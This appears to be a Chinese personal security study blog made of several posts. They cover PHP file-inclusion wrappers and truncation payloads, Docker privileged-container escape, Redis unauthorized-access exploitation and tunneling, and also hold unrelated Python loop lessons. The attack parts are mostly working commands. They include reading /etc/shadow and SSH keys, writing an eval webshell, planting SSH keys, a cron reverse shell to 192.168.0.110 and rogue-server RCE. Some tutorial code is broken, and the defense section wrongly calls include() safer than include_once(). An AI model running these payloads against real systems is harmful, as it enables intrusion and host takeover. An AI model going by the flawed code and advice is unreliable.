用于处理 PHP 归档文件，通常用于包含 PHP 库和资源。

ssh2://:

用于 SSH2 协议，可用于安全的 Shell 访问和文件传输。

rar://:

用于处理 RAR 文件。

ogg://:

用于处理音频流，特别是 Ogg Vorbis 音频文件。

expect://:

用于处理交互式流，通常用于自动化脚本。
# php.ini 设置

allow_url_fopen 和 allow_url_include 是 PHP 配置选项，用于控制是否允许在代码中访问远程资源和包含远程文件。这两个选项与安全性有关，因为它们可以影响应用程序的安全性。下面分别介绍这两个选项：
1. allow_url_fopen:
- allow_url_fopen 是一个 PHP 配置选项，用于控制是否允许通过 fopen () 函数或其他文件处理函数来访问远程资源。如果这个选项被启用（设置为 1），PHP 允许在代码中使用类似 fopen (“http://example.com/resource”, “r”) 的方式打开远程 URL，并读取它们的内容。如果禁用（设置为 0），PHP 将不允许这样的操作。
  - 需要小心，因为启用 allow_url_fopen 可能会导致安全风险，特别是在处理用户提供的 URL 时。攻击者可能尝试包含恶意远程文件或执行恶意代码，从而引发安全问题。
1. allow_url_include:
- allow_url_include 是另一个 PHP 配置选项，它控制是否允许通过 include 和 require 函数包含远程文件，如 include “http://example.com/malicious.php”;。如果启用（设置为 1），PHP 允许包含远程文件。如果禁用（设置为 0），PHP 将不允许包含远程文件。
  - 启用 allow_url_include 可能会引发安全风险，因为攻击者可以尝试包含远程恶意代码.
- # 协议用法
  
  # php://input
  1. php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
  2. 遇到 file_get_contents () 要想到用 php://input 绕过
  3. 可以访问请求的原始数据的只读流，将 post 请求中的数据作为 PHP 代码执行。当传入的参数作为文件名打开时，可以将参数设为 php://input, 同时 post 想设置的文件内容，php 执行时会将 post 内容当作文件内容。从而导致任意代码执行。
  4. 比如写或者写一句话？file=php://input POST: 需要写入的数据
  # php://file
  1. 用它来本地包含读取本地敏感文件比如 file:///etc/passwd
  2. 读取相对路径 php?file=…/…/php.ini
  # php://filter
  1. php://filter/convert.base64-encode/resource = 文件路径 base64 读取读取后 base 解码得到源码
  3. 解码得到 admin password
  # zip://
  1. 用于访问对应的压缩文件子文件但是要绝对路径 zip 文件跟子文件要用# %23 分割，只需要是 zip 的压缩包即可，后缀名可以任意更改
  2. 相同的类型还有 zlib:// 和 bzip2://
  3. 利用 page=zip://D:\Everydaytools\phpstudy_pro\WWW\www.dvwa.com\vulnerabilities\123.zip%23123.txt
  5. 得到 123.zip 里面的 123.txt
  # data:// 协议
  1. 类似与 php://input，可以让用户来控制输入流，当它与包含函数结合时，用户输入的 data:// 流会被当作 php 文件执行。从而导致任意代码执行。
  2. ?page=data://text/plain,或者用 baes64 编码后？page=data://text/plain,PD9waHAgcGhwaW5mbygpOz8+
  # 文件包含常用路径
  
  # 日志文件
  1. /usr/local/apache2/logs/access_log
  2. /logs/access_log
  3. /etc/httpd/logs/access_log
  4. /var/log/httpd/access_log
  5. /var/log/nginx/access.log
  6. /var/log/nginx/error.log
  7. $CATALINA_BASE/logs/access_log
  8. $CATALINA_BASE/logs/catalina.out
  # 网站配置文件
  1. dedecms-- data/common.inc.php,
  2. discuz 全–config/config_global.php,
  3. phpcms–caches/configs/database.php
  4. phpwind- -conf/database.php
  5. wordpress-- wp-config.php
  # 系统配置文件
  
  linux
  
  /root/.ssh/authorized_keys
  
  /root/.ssh/id_rsa
  
  /root/.ssh/id_ras.keystore
  
  /root/.ssh/known_hosts
  
  /etc/passwd
  
  /etc/shadow
  
  /etc/my.cnf
  
  /etc/httpd/conf/httpd.conf
  
  /root/.bash_history
  
  /root/.mysql_history
  
  /proc/self/fd/fd [0-9]*(文件标识符)
  
  /proc/mounts
  
  /porc/config.gz
  
  win
  
  C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置
  
  C:/Windows/repairsam// 初次安装的密码
  
  C:/Program Files/mysql/my.ini//Mysql 配置
  
  C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
  
  C:/Windows/php.ini//php 配置
  
  C:/Windows/my.ini//Mysql 配置

# 远程文件包含

当远程文件开启时，可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
http://192.168.0.103/lfi.php?file=http://xxx.xxx.xxx.xxx/shell.txt xxx.xxx.xxx.xxx 设置为远程的 ip

# 文件包含截断

# %00 截断

php 版本要低于 5.3.4 使用 include 等文件包含函数，可以截断文件名，但是会受 gpc 影响，如果 gpc 为 On 时，%00 会被转以成 \0 截断会失败。

# 超长文件包含截断

合适于 win32 可以使用。进行截断和 .(php 版本小于 5.2.8 可以成功，linux 需要文件名长于 4096，windows 需要长于 256) 利用操作系统对目录最大长度限制。在 window 下 256 字节 linux 下 4096 字节

# 点截断

php?file=x.jpg…

# /. 截断

php?file=shell.png%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2 e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2 e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e

# 远程包含截断

?url=%3f
00url=%00
#url=%23

# 防御

输入验证和过滤：

对用户提供的输入进行验证和过滤，确保用户输入不包含恶意数据。
使用白名单控制，只允许应用程序需要的文件和目录被包含。

使用白名单控制：

确保只有可信的文件和目录被包含。不要从用户提供的数据中构建文件路径。
限制包含文件的目录，只允许访问应用程序需要的文件和目录。

避免直接用户输入：

不要直接将用户输入用作包含文件的路径。如果必须使用用户提供的输入，确保对其进行严格的过滤和验证
使用安全的文件包含函数，如 include () 和 require ()，而不是不安全的函数，如 include_once () 和 require_once ()。

文件权限：

设置适当的文件和目录权限，以确保只有授权的用户可以访问和执行文件。
避免将敏感文件放在 Web 根目录下，以减少可能的攻击面。

配置安全：

配置 Web 服务器和应用程序框架以最小化攻击面。
禁用不必要的文件包含功能，如 allow_url_fopen 和 allow_url_include，以防止包含远程文件。

监控和日志：

实施监控和日志功能，以及时检测和响应潜在的文件包含攻击。

安全开发实践：

培训开发人员，使他们了解文件包含漏洞和其他常见 Web 应用程序漏洞。
使用安全编程技术，如输出编码和防止 SQL 注入，以加强应用程序的整体安全性。

安全扫描：

定期进行安全扫描和渗透测试，以识别和修复文件包含漏洞以及其他潜在的漏洞。

综上所述，文件包含漏洞的防御需要综合使用多种方法，包括输入验证、白名单控制、文件权限管理、安全配置和教育开发人员等措施。这些措施有助于降低文件包含漏洞对应用程序的风险。

域环境

2023-10-30T04:00:34.000Z

# 域

在计算机网络中，域环境是一种组织资源和用户的方式，它允许集中管理和控制网络中的各种对象。

域（Domain）：
- 域是一个逻辑上分组的计算机、用户和设备集合，它们共享一个安全边界和一组共同的策略。
- 域的边界通常由网络协议、安全策略和域控制器来定义。
- 域提供了集中式的管理和认证，使得网络资源的访问和管理更加方便和安全。
域控制器（Domain Controller）：
- 域控制器是域环境中的核心组件，负责管理域中的安全认证和授权、用户账户和计算机账户的管理。
- 它运行特定的服务，如活动目录服务（Active Directory Service）。
- 域控制器保存了域中的用户、组、计算机等对象的信息，并提供身份验证和授权服务。
活动目录（Active Directory）：
- 活动目录是一种目录服务，用于在网络环境中存储、组织和提供对网络资源的访问。
- 它包含了域内所有对象的信息，如用户、组、计算机等，并提供了一种层次结构来组织这些对象。
- 活动目录允许管理员通过分配权限和策略来控制用户对资源的访问和使用。
- 集中式身份验证和授权：
  - 活动目录允许用户通过单一的登录认证来访问网络上的各种资源，无论是文件共享、打印机、电子邮件等。
  - 用户登录后，活动目录负责验证其身份，并根据其权限授予对资源的访问权限。
- 集中式资源管理：
  - 活动目录可以存储和管理网络中的各种资源，包括用户账户、计算机账户、组、文件共享、打印机等。
  - 管理员可以使用活动目录管理工具对这些资源进行组织、分配权限、设置策略等操作。
- 层次结构组织：
  - 活动目录使用层次结构来组织网络资源和用户信息，这种层次结构称为目录树或者域树。
  - 目录树由各种对象组成，包括域、组织单位（OU）、容器、用户、计算机等，这些对象可以按照管理员的需求进行组织和管理。
- 灵活的安全模型：
  - 活动目录提供了灵活的安全模型，可以根据组织的需求来设置不同级别的安全策略和权限控制。
  - 管理员可以通过活动目录设置用户访问权限、密码策略、帐户锁定策略、加密选项等，以确保网络安全。
- 集中式管理工具：
  - 微软提供了各种管理工具，如 “活动目录用户和计算机”、“组策略管理编辑器” 等，用于管理和配置活动目录环境。
  - 这些工具提供了用户界面和命令行界面，可以用于执行各种管理任务，如创建用户、组织单位、设置组策略等。
- 复制和同步：
  - 活动目录支持在多个域控制器之间进行复制和同步，以确保数据的一致性和可用性。
  - 当有新的数据或者更改发生时，活动目录会自动将这些变更复制到其他域控制器，以保持整个活动目录环境的同步。
域成员（Domain Member）：
- 域成员是加入域的计算机或设备，它们受到域控制器的管理。
- 加入域后，域成员可以通过活动目录中的账户进行身份验证，并且可以访问域中共享的资源。
组策略（Group Policy）：
- 组策略是一种管理工具，用于在域环境中配置和管理用户和计算机的操作系统和应用程序设置。
- 管理员可以通过组策略向域中的用户和计算机分配特定的设置和权限，以实现统一的管理和安全策略。

# 常见的域环境

单域：在一个地理位置固定的小公司中，建立一个域通常就可以满足需求。在一个域内，至少需要两台域服务器，一台作为域控制器（Domain Controller，DC），另一台作为备份 DC。
父域和子域：出于管理和其他需求，需要在网络中划分多个域。第一个域称为父域，各分部的域称为该域的子域。
域树：域树是多个域通过建立信任关系组成的集合。在域树内，父域和子域可以相互管理，并跨网络分配文件、打印机等设备和资源。
域森林：域森林是指多个域树通过建立信任关系的集合。域森林允许不同域之间实现资源共享、管理、通信和数据传输。
活动目录（Active Directory，AD）：活动目录是域环境中提供目录服务的组件。它是微软提供的统一管理基础的平台，用于集中管理账号、软件、环境和增强安全性。

# 域内权限

安全组（Security Group）：
- 安全组用于管理对资源的访问权限。
- 可以将用户或计算机添加到安全组中，从而授予他们访问某些资源的权限。
- 安全组的权限可以直接应用于文件夹、共享文件夹、打印机等资源，或者通过组策略应用于计算机。
分发组（Distribution Group）：
- 分发组用于向一组用户或计算机发送邮件。
- 分发组通常用于群发邮件、通知、公告等目的，而不涉及访问资源的权限管理。
- 分发组的成员可以收到组发的邮件，但不会获得访问资源的权限。
域本地组（Domain Local Group）：
- 域本地组是一种在单个域内使用的组，用于管理对资源的访问权限。
- 可以将用户、全局组或其他域本地组添加到域本地组中，并为该组分配访问资源的权限。
- 域本地组的权限范围局限于单个域内，不会跨域生效。
全局组（Global Group）：
- 全局组用于组织和管理用户和计算机。
- 可以将用户添加到全局组中，然后将全局组添加到安全组或域本地组中，从而为他们分配访问资源的权限。
- 全局组的权限范围跨越整个域，适用于跨域资源访问的权限管理。
通用组（Universal Group）：
- 通用组是一种特殊类型的组，可以跨域使用。
- 可以将全局组、域本地组或其他通用组添加到通用组中，从而创建具有跨域权限的组。
- 通用组通常用于复杂的跨域资源访问场景，如多域架构或跨域信任环境下的权限管理。
# 域环境搭建

winservser12-ad 10.10.10.137

winserver12 10.10.10.12

12ad 安装 Active Directory 域服务

点击将此服务器提升为域控制器

创建一个新林

创建密码

重启后显示 YUNYI 输入设置的密码

创建成功，创建一个新用户 test12

接着把 12servser4 的 dns 设置成 ad 的 ip

设置隶属于 yunyi.io 输入刚才创建的用户 test12 然后重启

python循环判断

2023-10-30T03:44:45.000Z

判断语句和循环语句

	if语句
	格式如下
	if 判断条件:
	条件成立要做的事情

	demo1
	age = int(input('输入年龄:')) 接收输入的年龄赋值给age
	print("判断开始")
	if age > 18:
	print("恭喜18进入游戏")

	print("判断结束")

	结果:
	输入年龄:18
	判断开始
	恭喜18进入游戏
	判断结束


	demo2
	if age < 18:
	print("未满18不可进入")

	结果:
	输入年龄:17
	判断开始
	未满18不可进入
	判断结束

if —else

	if 条件:
	满足条件时要做的事情1
	满足条件时要做的事情2
	满足条件时要做的事情3
	...(省略)...
	else:
	不满足条件时要做的事情1
	不满足条件时要做的事情2
	不满足条件时要做的事情3
	...(省略)...


	demo1
	age = int(input("输入年龄:"))
	print("开始判断")
	if age > 18:
	print("恭喜满18可以游玩")
	else:
	print("条件未满足跳到这里")
	print("抱歉未满18请退出")


	练习
	i = int(input("今天周几?:"))
	if i == 6 or 7:
	print("周末")
	else:
	print("工作日")

if-elif-else

	if能完成当xxx时做事情
	if-else能完成当xxx时做事情1，否则做事情2
	如果有这样一种情况：当xxx1满足时做事情1；当xxx1不满足、xxx2满足时做事
	情2；当xxx2不满足、xxx3满足时做事情3，那该怎么实现呢？


	if-elif-else 语句
	if xxx1:
	事情1
	elif xxx2:
	事情2
	elif xxx3:
	事情3

	elif必须和if一起使用，否则出错
	else 一般用在最后，即所有条件都不满足时使用


	demo1
	i = int(input("请输入考试成绩:"))
	if i >=90 and i <= 100:
	print("A")
	elif i >= 80 and i <90:
	print("B")
	elif i >= 70 and i < 80:
	print("C")
	elif i < 70 and i >= 0:
	print("D")
	else:
	print("请输入0-100")



	练一练
	小明身高1.75，体重80.5kg。请根据BMI公式（体重除以身高的平方）帮小明计算他的BMI指数，
	并根据BMI指数：
	低于18.5：过轻
	18.5-25：正常
	25-28：过重
	28-32：肥胖
	高于32：严重肥胖
	用if-elif判断并打印结果：

	bmi=80.5/(1.75*1.75)
	if bmi<18.5:
	print("过轻")
	elif bmi >= 18.5 and bim <25:
	print("正常")
	elif bmi >=25 and bmi < 28:
	print("过重")
	elif bmi >=28 and < 32:
	print("肥胖")
	else:
	print("严重肥胖")


	i = float(input('请输入身高(m):'))
	z = float(input('请输入体重(kg)'))
	bmi=z/(i*i)
	if bmi<18.5:
	print("过轻")
	elif bmi >= 18.5 and bmi <25:
	print("正常")
	elif bmi >=25 and bmi < 28:
	print("过重")
	elif bmi >=28 and bmi < 32:
	print("肥胖")
	else:
	print("严重肥胖")

if 嵌套

	坐火车或者地铁的实际情况是：先进行安检如果安检通过才会判
	断是否有车票，或者是先检查是否有车票之后才会进行安检，即
	实际的情况某个判断是再另外一个判断成立的基础上进行的，这样的情况该怎样解决呢？

	if 条件1成立:

	做的事情1
	做的事情2.....

	if 条件2成立:
	做的事情1...
	做的事情2...

	说明注意缩进
	外层的if判断，也可以是if-else
	内层的if判断，也可以是if-else
	根据实际开发的情况，进行选择


	piao = int(input("请出示车票1(有)0(无):"))
	if piao == 1:#结果符合进入到
	print("请过来安检")#这里
	dao = int(input("刀子长度(cm)"))#然后输入长度
	if dao > 9:#进入到这里大于 9
	print("不可进入")#到这里
	print("原地等待警察")
	else:#小于 9 到这里
	print("可以通行")
	else:#不符合直接到这里
	print("没有车票不可进入")

	结果:1 9
	请出示车票1(有)0(无):1
	请过来安检
	刀子长度(cm)9
	可以通行

	1 18
	请出示车票1(有)0(无):1
	请过来安检
	刀子长度(cm)18
	不可进入
	原地等待警察

	请出示车票1(有)0(无):0
	没有车票不可进入


	<3>练一练
	情节描述：上公交车去公园，并且可以有座位坐下
	要求：输入公交卡当前的余额，只要超过2元，就可
	以上公交车,否则走着去；如果车上有空座位，就可以坐下，否则就站着吧。

	i = int(input("车票余额:"))
	import random#random 生成随机数模块
	if i >= 2:
	print("交钱上车")
	z=random.randint(0, 1)#随机生成 0,1 赋值给 z 变量
	if z == 1:
	print("有车位可以坐下")
	else:
	print("抱歉没车位了")
	print("站着吧")
	else:
	print("没钱了跑着去吧")

猜拳游戏

	import random

	ren = int(input("请输入(石头[0] 剪刀[1] 布[2]):"))

	jiqiren = random.randint(0,2)

	if ren ==1 and jiqiren == 2 or ren == 0 and jiqiren == 1 or ren == 2 and jiqiren==0:
	print('恭喜获胜')
	elif ren == jiqiren:
	print("平局")
	else:
	print("可惜输了")

while 语句

	循环语句


	while和if的用法基本类似，区别在于：if 条件成立，则执行一次； while 条件成立，则重复执
	行，直到条件不成立为止。
	一般情况下，需要多次重复执行的代码，都可以用循环的方式来完成
	循环不是必须要使用的，但是为了提高代码的重复使用率，所以有经验的开发者都会采用循环

	例如打印一百遍我爱你
	print("我爱你")
	print("我爱你")
	print("我爱你")
	print("我爱你")
	.........
	这样太麻烦

	利用while循环
	i = 0
	while i<100:
	print("我爱你")
	i += 1

	每次执行 i都加1然后打印我爱你直到i大于100的时候停止打印
	这样就不用重复手打了



	计算1~100的累积和（包含1和100
	i=1
	sum=0
	while i<=100:
	sum = sum + i
	i+=1
	print(sum)



	计算1~100之间偶数的累积和（包含1和100）
	i = 1
	sum = 0

	while i <= 100:
	if i % 2 == 0:
	sum += i
	i+=1

while 嵌套

	while 条件1:

	条件1满足时，做的事情1
	条件1满足时，做的事情2
	条件1满足时，做的事情3
	...(省略)...

	while 条件2:
	条件2满足时，做的事情1
	条件2满足时，做的事情2
	条件2满足时，做的事情3
	...(省略)...


	要求：打印如下图形：
	*
	* *
	* * *
	* * * *
	* * * * *

	i = 1

	while i <= 5:
	f = 1
	while f <= i:
	print("*",end=' ')
	f += 1

	print("\n")
	i += 1


	打印九九乘法表

	i=1
	while i<=9:
	t=1
	while t<=i:
	print("%d%d=%d",%(t,i,ti),end(" "))
	t+=1
	print("\n")
	i+=1
	第一遍循环i(1)<=9满足条件，t赋值为1进入第二个循环t<=i满足条件打印1*1=1
	,然后t=1+1=2 目前i=1 t=2不满足t<=i的条件停止循环退出循环\n换行,然后i=1+1=2满足i(2)<=9的
	条件进行第二次循环,t=1重新把t赋值为1，此时i=2 t=1 t<=i满足第二个循环体的条件
	打印12=2 然后t+1 现在i=2 t=2 满足第二循环体的条件t<=i继续循环,打印22=4 然
	后t+1=3 现在i=2 t=3明显不满足第二循环体的条件退出第二循环体换行，然后i+1=3
	满足第一循环体的条件i(3)<=9继续循环t再次赋值为1以此类推

for 循环

	for循环

	像while循环一样，for可以完成循环的功能。

	在Python中 for循环可以遍历任何序列的项目，如一个列表或者一个字符串等


	for 临时变量 in 列表或者字符串等可迭代对象:
	循环满足条件时执行的代码
	i = "hello"
	for x in i:
	print(x)



	i = "hello"
	for x in i:
	print(x)
	if x== "l":
	print("hello")


	x="hello"
	for x in range(5):
	print(i)


	for-else语句
	account="wyw"
	pwd='123'
	for i in range(3):
	zh=input('请输入账号')
	mi = input('请输入密码')
	if account==zh and pwd==mi:
	print('恭喜登录成功')
	break
	pass
	pass
	else:
	print('您的账号以锁定')

# break 和 continue

	break
	普通while语句
	i=0
	while i<=5:
	i+=1
	print(i)
	else:
	print("没有使用break语句打印此语句")
	结果:
	1
	2
	3
	4
	5
	没有使用break语句打印此语句

	i = 0

	while i<5:
	i = i+1
	print('----')
	if i==3:
	break
	print(i)
	else:
	print("没有使用break语句打印此语句")

	结果:
	1
	2

	break的作用：立刻结束break所在的循环

	带有continue的循环示例如下:
	i = 0

	while i<5:
	i = i+1
	if i==3:
	continue
	print(i)

	结果:
	1
	2
	4
	5
	continue的作用：用来结束本次循环，紧接着执行下一次的循环，相当于跳过了当前这次循环

	break/continue只能用在循环中，除此以外不能单独使用
	break/continue在嵌套循环中，只对最近的一层循环起作用

docker逃逸

2023-10-27T06:33:01.000Z

特权模式逃逸

当容器启动加上–privileged 选项时，容器可以访问宿主机上所有设备

启动一个特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 bash

判断容器是否特权启动
查看磁盘，默认情况下容器执行fdisk -l 是无法查看的
fdisk -l

查看 capEff 值，特权值为 0000003fffffffff
cat /proc/self/status | grep CapEff

#创建一个挂载目录
mkdir /tmp/hosts

#查看宿主机磁盘文件
fdisk -l

#挂载到创建的目录
mount /dev/sda1 /tem/hosts/
cd /tmp/hosts/

#通过 chroot 切换 bash
chroot ./ bash

redis相关漏洞

2023-05-08T12:00:28.000Z

# redis

Redis 是一个开源的内存数据库，它被广泛用于缓存、消息队列、会话管理等方面。Redis 支持多种数据结构，包括字符串、哈希、列表、集合、有序集合等，这使得它非常灵活且适用于各种场景。由于数据存储在内存中，Redis 具有快速的读写速度，使其成为处理实时数据和高并发请求的理想选择。此外，Redis 还提供持久化功能，可以将数据定期保存到磁盘上，以防止数据丢失。

Redis 通常用于以下几个方面：

缓存: Redis 作为缓存存储，可以帮助减轻数据库的负载，提高应用程序的响应速度。它可以存储频繁访问但不常变化的数据，例如网页内容、API 调用结果等。
会话管理: Redis 可以用来存储用户会话数据，比如用户登录信息、购物车内容等。这样可以实现分布式的会话管理，并且提供更快的访问速度和更好的可扩展性。
消息队列: Redis 的发布 / 订阅功能和列表数据结构可以用来实现简单的消息队列系统。它可以作为中间件来处理异步任务、事件通知等。
计数器和排行榜: Redis 的计数器功能可以用来实现用户活动的计数、统计以及排行榜功能，例如文章阅读数、点赞数等。
实时数据分析：由于 Redis 具有快速的读写速度和丰富的数据结构，它可以用于实时数据分析和实时监控系统，例如实时地统计网站访问量、在线用户数等。

	#redis 命令
	redis-cli -h IP -p 端口 -a 密码 #默认刚安装 redis 无密码
	slaveof IP 端口
	info #redis 信息
	get key #获取键值
	set key #value 设置键值
	keys* #列出全部键
	save #备份
	config get dir #查看保存目录
	config set dir 目录 #设置保存目录
	config set dbfilename 文件名 #设置文件名
	config get dbfilename 查看是否设置成功

# redis 未授权访问

默认情况下，Redis 在安装后不会要求设置密码。Redis 的默认配置文件通常不包含任何身份验证设置，因此在安装完成后，Redis 服务器将以无密码的方式运行。

如果端口暴露在公网且管理员没有设置密码就可以使用命令连接

./redis-cli -h IP -p 端口默认6389

# redis 未授权写 webshell

前提知道网站绝对路径，root 权限 redis

	#查看当前备份保存路径和保存文件名
	config get dir
	config get dbfilename
	#更改保存路径记得看一下更改是否成功
	config set dir /var/www/www.lu.com/#网站目录
	config set dbfilename 文件名.php
	set she '\n\n\<?php @eval($_POST[\'shell\']); ?>\n\n'
	#备份 save
	#蚁剑连接即可

# ssh-keygen 公钥写入

利用前提：redis root 运行服务端允许密钥登陆 redis 可未授权登录

漏洞利用

ssh-keygen 公私钥生成

ssh-keygen -t rsa -C "root ssh key"

接着把公钥文件内容复制到 txt 文件

cat ~/.ssh/id_rsa.pub > ssh_public_key.txt

接着未授权登录 redis 写文件

	#查看当前备份保存路径和保存文件名
	config get dir
	config get dbfilename
	#更改保存路径记得看一下更改是否成功
	config set dir /root/.ssh/
	config set dbfilename authorized_keys
	#写把公钥写入到 z 键中记得加 \n 换行
	set z "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgsa2X1zV7IfqFvR3AVBt5JPFsNJxB42Dc/RVpRrGDDsdFK5VNy9dCwP9uIaOFCRvqYgEYhNemDLH3Ok5wsvyGx5UBsEC53b3NPSJuVFGIDDFTUbXEAVso5LMbElYekPueUvITe3jChfFAmxLo6BpkrxRWtB7gRAJTh8hGx8GhOEdm1m7VOZ8DQI5uBl6QB6Z9oOE4rTWY5pA27UNupnR395QkeZzDB37uchoIkk8OS6vgm8KMZE2mY/UJqklceMAMaF6RjvpPzVDOBEY/XtCPXtIT4yzgi2UMNC50de8e6XlUYqeQ58PxozCfrOzQV4CVOLkHEW2YShhMQwU5InhM1+cVieQCsRRWvwtKknGUA4TgQsDrSaWqWJnh3QWGXyOJZhJuECcsTJ4yiNA75/ctc3T2jDMcGO6NEIYJlCOBNyG1xXHoBg0es6lNBsGlQOblelYgUQYnCXoAJPM938ZeXtuTSkxT3ES3tI8wQJeK56uSEKnleJZl4Na7SuXc69c= root ssh key\n\n\n"
	#save 备份
	ssh -i id_rsa root@192.168.0.107

# redis 计划任务反弹 shell

在 redis 未授权登录后可写入计划任务进行反弹 shell，但是这个办法只能 centos 用 ubuntu 会乱码执行不了

	0-59 0-23 1-31 1-12 0-6 command (取值范围，0表示周日一般一行对应一个任务)
	config set dir /var/spool/cron/crontabs #设置为计划任务目录
	config set dbfilename root
	set cron "\n\n/1 * * * /bin/bash -i >& /dev/tcp/192.168.0.110/7878 0>&1\n\n"
	save

# redis 主从复制 RCE

什么是主从复制，Redis 的主从复制是指将一个 Redis 节点（即主节点）的数据自动同步到其他节点（即从节点），以实现数据复制和负载均衡的目的。主节点负责写操作，从节点负责读操作；当主节点出现故障时，从节点可以接替主节点继续运行，从而提高 Redis 的可用性和容错性。

在 Reids 4.x 之后，Redis 新增了模块功能，通过外部拓展，可以实现在 redis 中实现一个新的 Redis 命令，在两个 Redis 实例设置主从模式的时候，Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上，通过写 C 语言编译并加载恶意的 .so 文件，达到代码执行的目的。

工具 https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

https://github.com/Dliv3/redis-rogue-server

利用前提，redis 弱口令，未授权，版本不高于 5.0.8，可远程访问不可以的话借助其他漏洞例如 ssrf

	python redis_rogue_server.py -rhost 192.168.0.107 -lhost 192.168.0.110 -rport 6379 -lport 15000
	两种模式"i"交互模式"r"反弹shell

隧道代理

2022-11-12T09:10:18.000Z

# 代理技术

代理是一种有转发功能的应用程序，它扮演了位于服务器和客户端 “中间人” 的角色，接收由客户端发送的请求并转发给服务器，同时也接收服务器返回的响应并转发给客户端。简单来说，代理技术解决的是网络之间的通信问题，如内网与外网之间或者两者自己之间的通信，两个不同内网的通信就必须借助到代理，否则无法通讯。

图中两台内网中的主机是无法直接通信的，但是两台主机可以与公网的 vps 通信在公网 vps 上做代理转发把两台主机的流量转发给双方

建立连接：首先，两台内网主机分别与公网 VPS 建立连接。这通常可以通过 SSH 或其他网络协议实现。
设置代理：在公网 VPS 上设置代理服务器，用于接收来自两台内网主机的请求，并将请求转发给另一台主机。
数据转发：当一台内网主机发送数据时，数据首先被发送到公网 VPS，然后由 VPS 将数据转发给另一台内网主机。

# 隧道技术

隧道技术是一种网络通信策略，它允许不同网络的设备通过互联网进行安全的交流。简单来说，隧道技术解决了在网络通信中遇到的阻碍问题，例如绕过防火墙的过滤、处理网络连接和通讯问题，以及处理数据回链封装问题。有时候，我们发送的数据流量可能会被拦截，这时就需要利用隧道技术来绕过这种阻碍。隧道技术通过采用不同的协议，将本来无法通行的通信路径打通。在进入内部网络后，有些协议可能会被拦截，导致我们无法接收到目标设备的流量。这时，可以借助一些特殊的协议来建立隧道，以重新实现通信。

图中两台主机在同一个内网可以通信的，但是防火墙禁止了一些协议导致通过这些走的流量会被拦截导致无法通信，这时候就可以使用例如 icmp 等重新搭建一条路让流量走这里进行通信，但是不可以使用 http 因为 http 协议是基于 tcp 的

# 协议出网判断

ICMP:ping 命令

DNS 协议：nslookup

SSH 隧道：ssh:root@192.168.0.123 22 端口

# 关于正反 shell

什么是正向 shell 反向 shell

正向就是攻击机主动去连接绑定的受害机的端口

反向就是让受害机主动来连接攻击机的指定端口

一般来讲对于防火墙入站规则是比出站规则严格的多，端口过滤的会很严格除非有没有被过滤且没有被占用的端口，这时就可以使用反弹 shell 进行上线，如果防火墙禁止了 TCP 出站，那么就需要使用其他协议来搭建隧道。

# 防火墙出入站规则

防火墙上有出站和入站规则

出站规则就是本机去访问外网

例如一些软件需要去访问互联网上的资源

入站就是比如当前主机是一台 web 服务器用户来访问服务器上的网站

Windows 防火墙提供了三种网络配置文件：域、专用和公用

域：当设备已加入 Active Directory 域，并且可以访问域控制器时，会自动应用域网络配置文件这种网络位置类型无法手动设置
专用：专用网络配置文件主要用于专用网络，如家庭网络或办公室网络管理员可以在网络接口上手动设置它
公用：公用网络配置文件主要用于公共网络，如公共 Wi-Fi 网络或其他共享网络这是身份不明网络的默认配置文件

# 防火墙添加规则

程序设置就是电脑里的一些软件

指定的端口例如 80 端口 http，22ssh

自定义可以设置的更详细些

比如可以规定那些协议可以通过，应用于指定的 ip

当前主机有一个 web 服务 80 端口 http, 不想让别人访问到就可以设置入站规则

规则开启时无法访问

规则关闭时则正常访问

# 命令行设置防火墙

netsh advfirewall show currentprofile #查看防火墙状态
netsh advfirewall set allprofiles state on #开启防火墙
netsh advfirewall set allprofiles state off #关闭防火墙
netsh advfirewall firewall add rule name="80off" dir=in action=block protocol=TCP localport=80 #禁止访问本地TCP协议80端口
netsh advfirewall firewall add rule name="80on" dir=in action=allow protocol=TCP localport=80 #允许访问本地TCP协议80
netsh advfirewall firewall delete rule name="80off" #删除名为80off的规则
netsh advfirewall firewall show rule name="http" #查看名为http的防火墙规则
netsh advfirewall firewall add rule name="22" dir=in protocol=tcp localport=22 action=block
#阻止所有进入的 TCP 流量通过端口 22。
netsh advfirewall firewall add rule name="22on" dir=in protocol=tcp localport=22 action=allow
#允许所有进入的 TCP 流量通过端口 22。
https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/network-security/windows-firewall/rules#官方文档

# 域组策略控制防火墙

在一个域环境中，域控制器（Domain Controller）可以通过组策略（Group Policy）来管理和同步其下属主机的防火墙规则。这样，管理员就可以集中地管理网络环境中所有计算机的防火墙设置，而不需要在每台计算机上单独进行配置。

管理员可以在域控制器上创建和配置组策略对象（Group Policy Object，GPO），然后将这些 GPO 应用到一个或多个组织单位（Organizational Unit，OU）上。这些 OU 中的计算机将会自动接收并应用这些 GPO 中的设置，包括防火墙规则。

在域控组策略新建 GPO

